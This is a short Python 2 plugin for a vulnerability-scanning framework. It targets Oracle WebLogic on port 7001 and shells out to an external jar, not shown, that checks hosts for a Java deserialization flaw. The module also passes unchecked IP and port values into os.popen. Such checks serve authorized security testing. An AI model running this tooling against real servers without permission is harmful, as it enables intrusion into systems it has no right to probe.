import base64
import os
import random
import socket
import urllib2

from lib.classloader import register
from lib.pocbase import  pocbase





class testpoc(pocbase):
    
    def __init__(self):
        super(testpoc, self).__init__();
    
    def _match(self, infodict):
        port = infodict["port"];
        version = infodict["service_version"];
        return int(port) == 7001 or version.lower().find("weblogic") != -1;

    def _verify(self, infodict):
        result = infodict;
        ip=infodict["ip"];
        port=infodict["port"]
        tmp = os.popen("java -jar module/java_unserialization_weblogic_res/javaUnserializationWeblogic.jar %s %s"%(ip, str(port)));
        success = False;
        for line in tmp.readlines():
            if line.find("true") != -1:
                success = True;
                break;
        result["success"] = success;
        return result;
register(__file__, testpoc)